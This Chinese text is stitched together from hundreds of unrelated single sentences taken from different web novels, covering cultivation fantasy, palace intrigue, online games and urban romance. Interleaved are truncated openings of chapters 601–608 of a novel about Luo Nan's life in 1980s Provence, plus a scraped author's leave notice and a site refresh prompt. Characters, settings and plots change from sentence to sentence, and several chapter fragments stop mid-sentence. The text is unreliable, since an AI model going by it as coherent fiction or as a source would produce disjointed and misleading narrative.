“九星古神,神星之术,给我爆~~~~。”这九星古神,经历了这一次次与洪荒修士对战的苍茫劫,岁月里,也修为暴涨,此刻达到了混元六重天修为,仰天一吼时,右手抬起掐诀,在眉心一抹。 紧接着混乱天君盘坐道台,神魂忽然闪烁起来,渐渐变得黯淡了一点,好似身体和魂要彻底融合,冲击封印一般,一众修士一幕立刻激动,他们都明白,自家老师这是准备要冲击封印了? 嗡!瞬间,两处道场内,阿弥陀佛通天教主有感,查探了第二本尊神念中的讯息后,各自神情一动,倒吸口气,接着双眸之内露出精芒,闪过一丝迟疑,联合玄荒,赶走盘古,毁灭地荒世界? 所以我就骗宁静说不用,我在这边还是有认识人的,他们都能帮我。你还是帮我办个出院手续吧,我刚刚已经打电话联系过了,一会儿就有人来接我,你也不用太担心。 绿乔说着,心里却在思索着沐清珏为何还不醒过来,因为她对沐清珏用的只能支撑沐清珏昏睡三天,这种还是她来天星国之前,怀瑾给她配了让她带在身上防身用的,却没有想到,被她用在了沐清珏的身上。 那天原本秦桑榆和岑光都已经准备好了要出去桐城,半路却有人敲门,怕有人认出来,岑光躲进门去,秦桑榆一开门,莫露的脸就出现在了面前。 “然也,老将军一日不解大权,朝廷一日不安也!”陈登点点头附和道,这件事他也曾料到过。 他在心里说。完了。他原本以为鹤舞仙师比同道真人好说话。哪知实实在在地让他坐了冷板凳。看來他在灵谷门又得多一番周折了。 这只是一个官方的理由。丁美琳当然不会直接告诉苏涵她的最终目的,但是,她要走好这一步棋。 管彦的嗓门很大,但是面前的士卒们没有管彦想象中的迅速行动,这些人互视一眼,脚下却没有行动起来。 沙渡天一把拽过沈仗天,燃烧的火焰已经蔓延过来,沈仗天大为感动,他大声吼道:“他妈的老沙,你跑过来做什么?”他知道沙渡天重情义,但绝对不愿沙渡天为救他自己而死,一时间骂了起来。 众人朝着出口方向跑去,谁知蛇王一个纵身就跳到了众人面前挡住了去路,此时的他犹如一头妖兽般狂恶,即便云海他们是大罗上仙,他也准备拼命一搏。 楚云表示自己沒有仙人预测的本事,许凡不肯罢休,又说,你觉得哪边会赢,凭直觉说就行。 然而,场中诸人对于这肥仪吹虚说赵武灵公公孙平如何如何了得,三年灭中山国,五六年间就驱楼烦,林胡而使胡人不得入关,如此就可为盟主,若如此说來,以此等功绩算起來,那秦之穆公李显才更有资格呢。 将虎师全部抽调出來,从威海基地全部北上旅顺港,进入辽东之后归在韩世忠的麾下,除了虎师和鹰师之外,萧明还将留在杭州整训的大宋皇家近卫军也全部调动到了辽东,作为虎师和鹰师向西攻击后辽东的兵力匮乏。 这下一想,周边众兵卒纷纷把疑惑的目光投向了韩遂的方向,周仓大喜:此时不跑更待何时? “南修哥回来了我当然高兴,吃了饭我准备去找他玩。”顾慕生回答。 太子背着手,在府里踱来踱去,正为那该死的慕容君儿肚子里的野种发愁,越发觉得心里憋闷,于是想去找两坛酒喝。 “调头回去,给地面人员发信号,让他们回总部。”李志明有种疲惫的感觉,淡淡的说道。 为什么?侯易不敢相信的看着自己昔日自己引以为豪的破日弓。这一定不是永动大阵,在永动大阵里面破日弓不仅是现实存在的,而且还可以显示很强的威力。 “呵呵,拉不出屎还赖茅房!”身后传来一个略显稚嫩的声音,我回头瞅,是个头发搞成离子烫的男生,瘦瘦的,目测初二或者初三的年纪,我没跟他一般见识,喜儿有点要炸毛,狠狠瞪了那离子烫一眼,走了过去。 今泉影狼只觉得心里面好像有谁正在用爪子轻轻的不停抓挠着,心痒的不得了,老想着瞧瞧对方究竟发现了什么。 而周围的那些修仙者们听到火云邪神的话之后,脸上也是有了一些憧憬,如果是这样的话,那么这个世界上还是没有神仙的,这样的话,他们可能就不用死了。 我用一方手帕捂住了伤口,原本洁白的布料转眼间就被染成了红色。 因为两淮的物资都是靠漕运,所以八阜仓距离淮水岸边并不算太远,这里本该有重兵把守,可那些守军被困在大朗山上,只好派人下来求援。 台下都是身形魁梧的大个子,不用想也知道他们全都是狼人。从这些狼人的穿着和神态来看,都应该是大人物,至少也是长老的级别。 “是的,你说对了。我要救救我的妹子,我现在就去!”他说着扶着墙壁要站起来了。 那声音道:“一觉道长,你现在知道,已经太迟了。”说着,茫无边际的黑色浓雾状的东西从天而降,将一觉道长和萧明玉裹了进去。 第601章 公主的城堡 罗南之前去过的最富丽堂皇的场所是摩纳哥王室的金色大厅。 这一次帕特里西亚举办生日会的场地绝对可以和王室寝宫比一比高低。 生日会场地设置在艾克斯市中心的卡蒙艺术中心,这座18世纪贵族府邸被列为法国历史古迹。 内部装饰完美复原了洛可可与新古典主义风格——镀金浮雕、水晶吊灯、大理石壁炉、 赵敢却是回想起了前几天与郭宝峰第二次会面的场景,当时郭宝峰很婉转的向自己解释了如今平津市官场的变化,然后问自己是因为什么。 恒清依然微笑着,说:“你总算好多了。”见她要起来,伸手扶住了她。 其实,在和杨露说这些话的时候,赵敢还注意到了另一件事情。那就是——在自己的这辆车后面,还有一辆车在颇为隐秘的跟着自己。 会议室中,七八个营销专家和公司高层排成一排坐在对面,正中间便是爱琴海的老总——魏天行。 这名字取的可真够奇怪的,我敢说这是前无古人,后无来者。因为我们谁都没有听过这么奇怪的名字。 怎样?这是要自己按照梦悠蝶所说的来供述一下自己要谋杀的过程么? 但东方言也不过就是呆了片刻,对于他来说,男性本能要远大于审美情调。东方言开始急急的脱自己的衣服,但好几千块钱的名牌真皮腰带却在这个时候出了问题,任凭他如何的用力,最终却是越勒越紧。 “妈,您听我解释…”梦竹话未说完,只听啪的一声,司徒萧的脸上重重的挨了一掌,脸上有了红红的指痕,乔夫人向来瘦弱,可见这一掌用了十足的力道。 “今天我与贾奉真较量了一番,当然没有打赢,但是我现他后来却到汽车公墓里走了一趟。”天火老人说。 梦竹在床上躺了几日,郁郁寡欢,任谁来都不爱搭理,季青来,她就断然不见。 可以抵御帝境巅峰的全力一击,这的确是了不得的至宝,很多人都动心了。 莫高窟又被称之为千佛洞,它是我国最大也是最著名的佛教艺术石窟,现存石窟492个,彩塑佛像等造型2100多尊,还有大面积的惊人壁画,光是想要把莫高窟全部看一遍,就需要花不少的时间。 看着自己的退路被堵死了,静鹏一脸的伤心,原本还想着要死打不过的话,可以退到那道门口去休息休息的,看这样子是不可能了。 但是这样又很有可能引起一连串的反应,随着使用反应堆的人数变多,传统能源肯定要降价。 “哼!”帝林冷哼一声,他发丝狂舞,此时手里出现一根乌黑的鞭子,散发出浓郁的血腥气,鞭子上还有血液未曾干枯。 由于她不知道在网吧门口发生的事情,估计又是听了周汉良的片面之词,所以就认为问题出在了我的身上。 “什么咋样?”荆建被问糊涂了,从头到底,弗索亚的事可以说问心无愧,怎么听凌枫的意思,好像自己犯了十恶不赦似的。 搂着熟睡的利迪娅回到公主府外面,在克丽斯蒂不满的眼神中,他回到薇诺娜的房间,却发现薇诺娜正坐在床头生闷气,而菲菲和娜娜居然都化成人形,在旁边安慰她。 马德钟乃是一不折不扣的官场老油子,满头的白发几乎摘下任何一根来都是空心的。不过面对此事却也是一个头两个大,实在是左右为难。 第602章 我来给你送钱了,罗南老弟! 小宴会厅里的罗德里格陷入了沉思之中。 和同空间内的其它高端艺术藏家不同,他是个彻头彻尾的商人,而且是非常成功的商人,放眼整个普罗旺斯都能排到前几。 在其他人震惊于‘公主的童话世界’宇宙时,他脑袋里出现的都是法郎的样子。 事实上他真的起过要和罗南继续合作的心思,但那和罗南作品的寓意、 尤其是范进这种身份,堂堂首辅门婿,结果只能靠给天子画像出名,那就等于说他在正事上一无足取,这就更有些丢人了。可是一画两个时辰,又得天子赐御膳一桌,这个待遇就不简单了。 因为唐重已经给他们明天放假了,洪刚等人也是没有加班,弄好一切,也在六点钟下了班。 “你们给我滚远点!他是我的!”缝针没有任何感激的意思,咬牙切齿对那位战士吼道。 李傲雪似乎没有反应过来,仍旧抱着胳膊站在那里,唯独一双眼眸突然睁大,眼眸中慢慢的都是错愕。 众人看着倒在地上依然昏迷的项钧,又看了看台上不过一步未退衣衫未损的秦明,一时间,俱是长大了嘴巴。 一听,竟然有这么给力的支援,方圆亦是高兴坏了。不过,转念一想,老板当然得经营生意,就算再拼命亦是应该的,毕竟老板不管生意还管什么呢。他便释然了。 天启在脑海中回忆着目的地的样子,然后意念一动,包裹住四人的能量罩便是渐渐溃散,直到彻底消失不见。 郭志男是看出来了,王美娜看似简单的随意走动,可都是在背对着自己,而双手看似是背在身后,可手中的手机却是始终对着自己。不要问他是怎么看出来的,因为手机居然还开着补光灯。 “原来如此!”秦枫点点头,想来也是,什么事情都讲究一个对等,苍蓝体内的阴气那么牛,光靠现在的自己恐怕也没什么用。 东方求败又给她们斟酒,继续喝上一碗千年桃花醇,让大家倍感过瘾。 孟南迈着步子走进,却不料那团东西猛的变大扑了上来,随之而来的是更强烈的恶臭,以及刺耳的尖叫。 在那铺天盖地的能量潮汐自天外天狂涌而来,弥漫在整片天地之中时。 人生代代无穷已,江月年年望相似。只有这天上的明月在见证者一出出舞台的谢幕,一出出舞台的开始。 这场面……特么的有点惊悚过头了吧?说好的玄幻,怎么成了灵异了? 片刻后,漩涡散去,灵气尽消,一座仙门,便彻底坐落在道台的上空。 “唉,算了,先稳住基本盘吧,其他的事后面再说。”孟南如此想着长叹一口气,突然有些后悔当这支氏族的老大。 剪辑中,脑海中浮现前世的影片,再加上如今自己编写的剧本,修改的一些,进而对照。 知道宋若愚已经是下定了主意,这何原便也不再多嘴,就是恭谨地对宋若愚道:“先生,那我这就去办。”便骑着马眨眼间就往前方驰去了。 道祖有说过吗?叶霜仔细的回忆了一下,好像真的没说过吧?自己一钻进龟壳,就被送走了,这会连怎么出去都不知道。 刚才的一切其实都是故意这么说的,为的还不就是勾起她的心气。 “遥映人间冰雪样,暗香幽浮曲临江,遍识天下英雄路,俯首江左有梅郎。”这是九年前北方巨擎“峭龙帮”帮主束擎天初见梅长苏时所吟的诗句。 第603章 颠覆性的合作! 突然出现的罗德里格吸引了不少人的目光。 内场的宾客们清楚,真正的大佬并没有在二楼的大厅之中,而是在某个秘密的地方关注着这里发生的一举一动。 但这位顶级富商怎么会出现在这里? 大厅里有值得他‘结交’的朋友吗? 不少人抱着以上的心态密切关注罗德里格的一举一动,愕然发现,他一出现就 阿荣背上干粮,在镇民目送下爬梯子。梯子一侧挨着塔楼,是细雨镇最高建筑物,对梯子来说却不过是冰山一角。 听着末炎帮会的那些帮众们,你一言我一语的在那里幸灾乐祸的说着。简奡是直接的被气得一脸的铁青!从进入到游戏里面以后,他什么时候这么的憋屈过?什么时候,被人给这么的洗刷过? 等到竺雅兰她们进房以后,龙天就到卧室里面拿出了一瓶忘我,坐到了月光下,喝起了闷酒。 仁喜看到花儿波的动作,眼睛转而盯着仁大看,实在猜不透自己的大哥在想什么,平白无故那么待见着朵花,好似他们早就认识了,还很熟。猛然仁喜想到一件事,偷笑起来。 这皇宫与平民建筑唯一的区分就是,这里有不少的矮人士兵把守着。 富贵乡酒楼,二楼靠窗处,陆敏与萧仙子坐一边,陆幽冥与萧仙子对坐。 我也不知道为什么会有这种情况发生,以前刚到LB的时候,第一次打训练赛,也没有这么糟糕的表现,反而是在一定程度上对他们的熟悉,造成了不好的效果。 那么,他忽然被海珠控制,是不是与此事有关?吸引走冰夷?冰夷为什么会选他,而不是选萧仙子。想到着,贝少居然得意起来,几乎就要捂嘴笑出声来。 不止叶武,就连在场众人,都不禁蓦然一惊,然而就在他们为叶泷叶鹤等人的胆略,感到不可思议之际,突然有一道无比讥诮的声音,从身旁响了起来。 两人放下水杯,不由得又是对视一笑,颇有几分惺惺相惜的感觉。 “这是你四师姐枯琉璃,因其母亲是神族,所以虽是人族,但却是一半的神族血脉。”慕诗蓝向江东羽介绍着。 霍左抱着霍右,直接闯进了诸公粱的房间里面,脸上的情绪悲愤无比。 就算是司徒矩这样的仙尊强者,也是费了好大的力气才在空中稳住了身形,待到下方烟尘散去,所有人都不由得再次倒吸了一口冷气。 “好东西。”落江南眼前一亮,可以收人的储物法宝,那是最上等的储物法宝了。 第二场比赛,男性选手等候区这边下去了六个,包括现任羽毛球国家队队员。 一块衣角被江东羽抓在手中,猪临江大怒,他虽活的久,可却从来没有出过赤阳森林,这身衣服还是他从一个冒险者身上拔下来的,他的体型肥大,难有合身的衣物,这身衣服被他视为珍宝。 要是欧冶大师知道自己赌上了身家性命的选手是现在这幅德性,只怕直接就要气炸了。 双腿被尖锐锋利的碎片刺破,月儿惨叫出声,冷汗打湿了她的鬓发,嘴唇煞白。 这种结果是张念祖万万没想到的,一个姑娘先被绑架,又在刀山火海里爬了一遭,见了警察没有变本加厉地告状,反而替阿三开脱了? 可是,以她对登徒子的了解,对方肯定不愿意自己这个时候出手,不然的话,他会怨恨自己搅局的。 第604章 你还工作什么啊佐伊? 在过去的一周中,关于罗南最近作品的新闻传得沸沸扬扬,说什么的都有。 罗德里格从中总结出了宝贵的经验——结果是什么并不重要,无穷无尽的可能性会引发普罗旺斯人自动脑补。 因此他在罗南对外宣布的信息基础上,又加入了许多新的可能性,想要让‘公主的童话宇宙’从这一刻起就掀起新的风暴。 而且罗 香儿看着一地价值不菲的东西就头大,走路都颤颤惊惊的能多远就绕多远着走,生怕碰到哪个碰坏了卖了她也赔不起,虽走多两趟也忍不住心有埋怨,却也不敢吭声的只是偷偷干瞪着眼。 一路疾驰,直接杀到领地的内围,西边的怪物已经以梦回大唐牺牲一个分盟的代价清理干净了。 真是一条大鱼呢,我在鱼儿的旁边蹲了下来,咬着嘴唇跟它说了三句对不起。 “叶凡,如果今日我们能够活着出去,你娶我吧。”叶轻灵抚摸着少年瘦削的脸庞,绝美脸庞微微笑着,在对方耳边呢喃道。 九阿哥刚想解释,就听皇上道:“你福晋呢?”声音依然是淡淡的,好像很不在意。 回复好气血,我看准时机,飞奔上前,黄金王者剑凌空一扬,破甲剑直直送出,火光飞溅间,带起一个高额的伤害。 这几天萧澄陪着她站在海边等,从日出到日落,看着警方在附近打捞。 皇上看着跪在下面的九阿哥,回过神来,佯装生气的怒骂了几句。 “我们有多久没有进入游戏了?”这天晚上,张依依突然抬头问了一句。 兆佳氏点点头,这只是原因之一,另外一个原因就是九阿哥若真的看重董鄂妙伊,他想泻火的时候反而不会找董鄂妙伊,再说白日宣淫的名声不好。 不少种族的玩家,纷纷面色古怪的沉默在原地,究竟是什么勇气,才让这个李秀梅,敢去招惹一个单日屠杀十二万椅子的狠人? 茂大郎相信,这真要是一巴掌打下去,大针蜂绝对会把自己捅出一个窟窿来。 而想要在这两条路上进行原则的对等,那就要保证,肝帝玩家必须能够靠时间和精力拿到游戏之中的一切奖励,而氪金玩家则需要花费金钱来缩短肝的程度,这样其实也是一种平衡。 看完之后,优幸有些无语,他看上的那些短途行程,船票已经售罄,尚有余票的航班不是已经排到了三个月后,就是行程一趟要三五年的,优幸只能接受三五天的。 紧接着,“砰”的一声巨响,阿利多斯如出膛的炮弹般砸向地面。 项阳的态度,反过来对于安腾也是一种安抚,让他的心情更加稳定。 「只要赢,成为今晚这里最大的赢家。」男孩不禁流下一身冷汗,但对方依然平静地盯着他。 它们会在无人的清晨来到水边,用象鼻给自己冲凉,如果族人们聚集起来,还会互相喷水玩耍,然后在岸边晒干湿透的身体。 “圈圈熊失去战斗能力,所以战斗获胜的是艾斯与喵喵。”渡当即宣布结果道。 此时此刻,中院里还有七名黑衣人,其余的几个黑衣人已经去了后院。 说起来巧了,崇实今天正好在圆明园这边当值,加之两个值房离得又不远,不一会儿便信步走了过来。 二手准备是什么意思。二手准备就是随时准备继承安氏,甚至坐上安清辉的位置。 第605章 时间怎么过的这么快啊? 见罗南一副我不懂、但我不想让你知道我不懂,挖空心思想怎么讲两句的‘便秘’模样,罗德里格主动给他做起了科普。 “我们要做的生意并不是一个成熟的产业,所以分成比例没有统一的行业标准,虽然我之前合作了几位艺术家,但每一桩合作的情况都不同,决定数字的关键因素在合作模式上。” 罗德里格特意停顿了一 “吓死了,吓死了”带着轻盈的笑,他再次将羽扇慢慢打开,轻轻的摇着。 只见元霸手中魔棍乌光流转,魔光在迅速的变大,最后宛若擎天巨柱,上面魔云翻滚奔腾,一股强大的气息轰然爆发,魔棍冲天而起好似魔龙翻腾,随后疾驰而下砸落向燕云城。 姜邪还是第一次见到兵器型的法相,也是十分期待对方法相的威力,也就收回了黑色佩剑,并打出了十字火焰,想要试探一下对方实力的增长。 陈幻山四人心里打鼓,他们人微言轻,不想卷入太深,悄悄缩去一旁。 虽然玄机听不懂姜邪在说什么,但还是震惊姜邪怎么会如此的变态?硬坑他三把三剑,竟然一点事情都没有。 选第一条路,要成为江寒的宠物,被江寒带去一个陌生的世界,等待某一天江寒良心发现,将她释放。 龙啸天带着部分血魔集团军配合落月军团,对阴谋颠覆落月国的势力进行了清洗,光在落月城就灭掉不下万人,随着调查的逐步深入,一场席卷整个落月国的大清洗浩浩荡荡展开,整整持续了一年有余。 一些围观者的手心已经被汗水浸湿,连眼睛都舍得眨一下,干涩的嘴唇被牙齿咬的紧紧的,这些人生怕这场地中央的两人将自己给误伤,但是又不忍心错过这么一场精彩的战斗, 矛盾的心里让他们的神经异常的紧绷。 单就用体内的灵力,都能引起如此剧烈的能量波动,这已经不是简单的开灵期了,而是开灵期巅峰,半步金丹的人,才能做到。 “你们往后撤,这家伙由我来对付!”犹太朝着身后的人大喊道。 刚上完洗手间回到包厢的风苒一把送风宸炀还在躲闪的手里抢过电话,顺便送了他一个白眼,这才低头看了看电话,笑着接了起来。 不过他的时间没有多少,奈瑟和杰里米在之后便出发了,前往奥德城的北边城区,之后会会和在军区的科研队,前往交涉区。 林一陆还嘱咐林安平,让高好月只能吃特定的饭菜。不能跟着他们一起吃。 可惜,所有人都叫了许多遍,床榻上的人依旧没有丝毫转醒的意思。 “那天外而来的邪恶之兽?”ell立马认出了这团正在衍化为血海的东西是什么。 张奎说道:有妻如此,实在是我张奎之荣幸也。夜深人静的时候,他们夫妻进账睡觉了,各位副将也回营安息了。 徐东微微松了口气,但也知道,哪怕自己说的那些话当时确实没起什么决定作用,但说到伤人,还是伤人的。 这一点要参考骑士功绩的形成,人们的精神力随着传说散溢,然后将生命力固化到一片自然环境之中。 高好月和夏大海的争吵影响到其他病房的病人,引得过路的人都纷纷注目。 这大傻子每次话都那么多,听得他耳朵疼,干脆几杯喂醉了送回去了事。 白骁二人,目瞪口呆的听着人们的嚷嚷,嘴角不由剧烈抽搐起来。 “那家伙的话,已经不会再回来了。”洛基冷冷淡淡的说道,如同鹰一般的眼睛狠狠的盯着芙蕾。 克子身体上燃烧的火焰,渐渐失去气势。常人碰触一下就会化成灰的轰炎,变成了蜡烛之火般,慢慢失去了力量。克子痉挛了一会儿,然后不动了。 正在沉思的君墨邕忽然被点名,这才恍然回神,思索一下上前拱手。 绝对有问题很明显的,这已经不是人类的力量了,没有正常的人类会眼冒红色光芒吧。 “可笑。魔眼的效果居然只相当于天气预报,真是笑死人了。”夕弦用手掩住嘴角,发出‘噗嘶’的声音。似乎正在窃笑着。 听到这话的黎念不自觉后退一步,脸色发白,眼中露出慌乱的情绪。 他当即掏出十张支票来,每张各十亿,递给楚云,楚云让白紫萱核对一番后,确认了都是真支票。 那束花虽然之前扎得很紧,但是也经不起这些人这样造,这么一抢,花束散了。 这外有萧然震慑敌人,内有王海棠王皇后主持大局,难怪梁武帝萧和能够如此有恃无恐的发动战争。 可她高心玥也不是吃素的,她就不信,以她的身份和才智,会输给那个吴雨桐。 几个义兵都在看着公韧的眼睛,只要他再一声令下,他们立刻就回去放开唐青盈。 “别急,看我的。”说着秦天举起了右手,一辆保时捷出现在前方的空地处。 只见浓烟密布的棋牌室内,秦始皇铁青着一张脸坐在凳子上,右手死死的攥着手中最后一块金锭。 “溪门廊在城南,从这出门左拐直走,路过一处酒庄,再右拐,就能看到岸柳,沿着那条河往下走,不过一柱香时间便到了!不过,你问这个干嘛?”十娘狐疑回道。 我迅速向下俯冲追了上去,水下暗流很急,很难控制身形,越往下水温越低,即使我有防护罩护体,我能感觉到,如果不是水流很急,这条大河怕是早已冰封。 来的人是和比克同时大公爵的纳撒尼尔,比克就算是心里在得意也不能表漏出来,比克一脸谦逊的跟纳撒尼尔交谈着。 虽然有可能是重要的情报,但……我要是不把卷宗拿出来,这个生命,就会失去了牺牲的意义。 “若是你打赢了我,我自然会告诉你,若是你赢不了我,你便没有这个资格知道我的名字。”说罢中年人做了一个请的姿势,让粽子出手。 “是!”众人一起答道,不过显然炼狱军团的声音要比那些下人的声音洪亮的多了。 陆彦看着他如今对于最近的事情都已经全部明白过来的样子,才在一旁点了点头。最近的事情如果不是因为都已经出现在了这的话,就在当初他又怎么可能会不停的等了下去,只是如今的一个事情是根本就没用了。 第606章 站好第一班岗 罗南是真把日子过糊涂了。 他的日历还停留在去艾克斯参加帕特里西亚小姐生日会前后,经莉亚这么一提醒,才发现9月已经要过完了。 这同时还说明——商业街上的几个铺子在装修的过程中没有让罗南费任何心,他这个老板彻底的‘解放’了。 装修省心,运营起来大概率也不需要他操太多的心思,可以将精力放 锋利的长剑势如破竹一般朝阿萨托斯挥了过去,道法真人的符纸就像是不要钱一样,成堆的往阿萨托斯身上砸。 邱中天这话说的铿锵有力,话音刚落台下那几个被安排好的托就纷纷喝彩,带动着众人的情绪热烈起来。 可是方才看着上官皇后和楚天的一番争执,身处一个局外人的眼光,楚存安忽然发现了什么。 今天既然说到了这里,风乾决定将一切都挑明,将自己的心掏出来,放在她的面前。 “也知道逾越了!”青稞入了后宫生了二皇子后,等于废了,如果不然轮得到青儿上来,看问题到底不如青稞通透:“多跟皇上讲一些高兴的事,说不定皇上就想多动动了。”天天哭丧着脸谁愿意看。 “于丹青!虚伪!做作!矫情!不要脸!你吃过的东西怎么能再给三皇子吃!你怎么能这么对三皇子!”她嘴巴动了几次,都没能吼出这句话来,反倒憋红了自己的眼圈。 丁兰应是,服侍于丹青梳洗更衣后,用了午膳,便备上厚礼随她去了唐府,沈府,最后去往于府。 当她看到刚才还在的人,却一眨眼间就不见了之后,心里一急,抬脚就往十字路口的这边冲。 “都抓紧了!马上就要落地了!”感觉到一阵阵越来越强的颠簸,李凡紧紧抓住扶手,对着对讲机大声喊道。 端木徳淑觉得自己长歪了,简直对不起父母的用心良苦,对不起哥哥们的疼爱,对不起老祖母老态龙钟还给她撑腰的豪情。 但,如此一来,杨刚与丁瑶就真的又回到了最初坐困孤城的窘境。 雷动九天虽然杀不死阎希明,却足以瞬间让天地元气进入暴走状态,哪怕出窍大修可以强行瞬移,可在天地元气暴走的情况下,依旧足以对出窍大修造成一定程度上的影响,或者说是延迟。 高台上诸长老目光凝视于萧沐阳,内心不由掀起一丝波澜,他们乃是天象人物,自然不会被萧沐阳的琴音所影响,但那些天罡人物却不一样,稍不注意,便可能陷入其中。 极恶之相,乃是由极恶之气凝聚而成的,而极恶之气是在极恶之徒杀人之际,在那些冤死之人沾染的。 杨凯心突然抽搐起来,他脸上露出了难过到极点的表情,他颈部的肌肉紧绷,他的喉结上下涌动,可是他却硬是呼不出或吸不进一口空气,他的嘴唇、耳朵等部位更是在迅速变得青紫。 玉藻前高大的身影立于北原苍介的身后,那鲜艳血红的嘴唇轻起间,用极具魅惑力的声音,轻轻吐出了一句话来。 何思为此时脑子确实有些迷糊,眼前这个揉着她头、安慰她的人,真的是沈连长吗? 他那皇后姐姐听闻,在皇宫要死不活,哭来了皇帝下了死命把他绑回来,又着人打听到华县有一位华佗神医,兴许能根治。 南关并未走出多少人,能活下来的,能当将军的,很少有在京中担任要职的。 第607章 普罗旺斯美食界真是‘卧虎藏龙\’! “枣泥酥没了?”莉亚端着新烤好的面包从后厨出来,听到阿兰与罗南的对话,放下面包又接过阿兰手里的盘子,立马返回去,“我去告诉她们赶紧补上,罗南,你在前面帮帮阿兰吧,后厨不用担心。” 罗南留下和阿兰一起收银打包,这其中阿兰负责收银,罗南主要负责打包。 经过大半天的磨合,前台已没有那么‘人仰马 韩奉欢见岳七自导自演,满脸为君风萧萧兮易水寒的忠诚,心底越来越佩服他脸皮之厚了。 模糊中,叶琼猛地想起来之前在他的脑袋里面出现的那阵机械声。 而蓝羽蝶,因为个子不高。顿时就被那些疯狂的同学给挤了出去。 而林明打算继续扫视上官诗月房间的时候,忽然又意识到,这样子偷窥别人的房间,似乎是不太好。 只要能够进入这次炼丹大会的前二百名,那么他们便能够拥有进入通天柱之上玄域的资格。 一个家里有父亲,有母亲,有自己,那该是多么好的一件事情呀!秦焱笑声背后的苦涩,没人能懂。 这时按着我的头太监一下子松开手。似乎有些不满。把我拉了起來。那个拿着金瓜的大汉。退在一旁。满脸横肉。看着地面。 刚刚故意叫胡娜拿钱,跟着一扫眼,看到了她包内的很多现金,至少有七八万的样子。 “好!”叶安阳早要知道会是这样,就不安排阿牛大哥和自己的亲哥见面了,他现在肠子都悔青了。到了包间门口,又不好反悔。天杀的,你可不要太荒唐了。 鉴于老家伙团队中自带的三万倭寇军队,天照空间自然也不会坐视自己这边的探索者冲进去送死。由空间暗中牵头,a级历史人物毛利元就率领着众多大名组成了联军,在麦玲珑的萨摩领地侧翼,与大明舰队决一死战。 “好了,众弟子肃静。”随着赤火真人的声音在广场中响彻,洗脑的广场顿时安静下来。 随即,两人就互相交换着有关于黑猫的各种情报,不时还乐得大笑出声,令看着梅露露的珠希不禁回过头来,不解的看着哥哥姐姐。 这时候,陆长青堪堪赶到,见到这一幕心内大惊,他不动神色的隐藏在院外高树上观察局势,准备适合之时施以援手。 听到司马仲连这般评价,陆瑾倒不觉得有甚,台下宾客却是纷纷肃然起敬,有司马仲连此话,这少年郎君今日之后必定会名满棋界,成为所有棋手仰慕的对象。 太上老君让敖夜守在卧室外,不准任何人进入后,便和东方媚一起进入了卧室。 毕竟她接的短篇连载,只剩下最后一天截稿,哪里抽得出时间过来。 李林来到驾校的时候,已经有很多学员来学了,而这些人中大部分都是大学生,毕竟,今天不是休息日,上班族还是要上班的,而大学生就没有这个顾虑了,只要没课随时都可以来学。 话音刚落,一大半的宝剑同时飞向李察,将他围得水泄不通。无双剑,黑蝉软剑,重剑万钧和决剑见状立刻不干了,嗡鸣着朝李察飞来,将这些宝剑通通赶到了一边。 “老爹,我不想照顾那孩子,她实在太麻烦了,你找其他人吧。”夏悠推辞。 看到高庆向自己投来不解的目光,崔慧敏意识到自己好像有点多操心了,连忙低下头。 踏着超黄亮眼的运动鞋,穿着总共几十块钱的一套耐克服装,搞得整整齐齐地,第一天在丹丽天国上班正式开始。 请假条 周末朋友聚会,请假一天。 祝大家周末愉快,多多陪家人,多多happy! 《1986:我的普罗旺斯幸福生活》请假条 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 《1986:我的普罗旺斯幸福生活》爱曲小说全文字更新,牢记网址: 第608章 做梦都梦不出来 玛丽不在卢尔马兰生活,她居住在艾克斯和马赛中间一个名叫卡布列斯的小城镇。 罗南只是在他和佐伊的婚礼前后见过这位常常出现在妻子嘴里的外祖母。 没想到今天甜品烘焙店开业......她也来给女儿莉亚帮忙了。 玛丽一边忙着手里的事情,一边给妇女们分享她的‘祖传’甜品秘方。 罗南觉得玛 但这些虫豸每天时时刻刻都在囊中互相吞噬杀戮,又或是放出去尝试攻杀虎狼、熊等大型猛兽,所以数量反而不断在减少。 然而,李穆祠的耳目遍布府中,苏风意的举动并没有逃过他的注意。 家家户户都在搜检之列,连酒肆商家的银壶杯盏都不放过,全部都在兑换之列。说白了就是明抢,胜利者举着刀枪前来,收获他们应得的战利品。 衙门那一队的领头人几乎是咬碎了后槽牙才把这话说了出来,几乎是咬牙切齿的。 烧水,定温,洗茶,闷泡,计时,不差毫秒,要的就是这种恰好到处的极致口感。 除非学汉武帝,几万骑兵后面跟随五十万运粮食的步兵和几十万匹马。这样的动员规模,能够打到天下户口减半,生民凋零。 如今二表哥在朝中屡屡被打压,主母一打探九千岁好美姬,便将她献了去。 从天空俯瞰;大地上,沿途人如蝼蚁,到处都是携家带口逃荒之百姓。 福建沿海的船户呼号哀转,祈求宋家的官僚放他们一个活路,可宋朝廷哪里肯放。 想明白后,林溪瑶也不在馋肉了,把异兽的尸体连同草叶子重新捆好。 “你们看这是什么?”狼牙虽然相信他的实力,但还不敢相信他真的能击杀君阶的魔兽。牧天只好从域戒中拿出蛛丝。 这种情况让绯沙子想治疗都无法入手,她想来想去,只能按照重度营养不良处理。她弄了些补充元气的药膳,一点点地送进这个少年的嘴里。 “妈妈。”周明轩的希望就在蓝鹰抓住梦琪的手的那一刻,消失了。 再加上燕天北现在的盖世威望……只要燕天北殒落的消息一天没传出来的,西南分部便像烫手的热山芋,谁也不敢碰。 从格斗比赛场,到部分观众席观众,都为这股气流所波及,头发衣服飞舞,这股强大气流,让他们呼吸都为之一窒。 ……下一秒,被那淡蓝色的光翼扫了一下的维京战机突然变成两半,各自翻滚着从天空坠落下来。 素素哼哼唧唧依依呀呀地爬起来,还来不及揉一揉自己酸痛得不得了的脑袋,便被床前站立着的突兀的东西给吓到了。 白河渐渐感觉到了不妙,同样的力量上限,打不过这个老太婆不说,这个老太婆有着神力打底,回复能力也是强大非凡,同样的输出效率,有蓝条的怎么能够和没有蓝条的打消耗战? “没事儿,真的,我只是在想工作上的事情。”江楠宽慰自己的母亲,可是自己知道,自己想的事情跟工作一点儿边儿都不沾。 以五人组和叶婉莹的家族地位,在本地找这些实在是太轻而易举的事情了。 ——当然,实在劝不回去也没办法,李秀成已经仁至义尽,同时目前控制长江航道各处险隘的太平军军头也都不是李秀成的部下,真出了什么事也和李秀成关系不大。 有些人随意地呼叫着同伴,似乎是老马识途,有些却和林亦东差不多,四处环视,眼神中流露出好奇之色,显然是如同林亦东一般,第一次前来这里的新人。 下一刻,黑色蜘蛛网崩溃碎掉,一个隐隐露出一些绿色的洞口显现了出来。 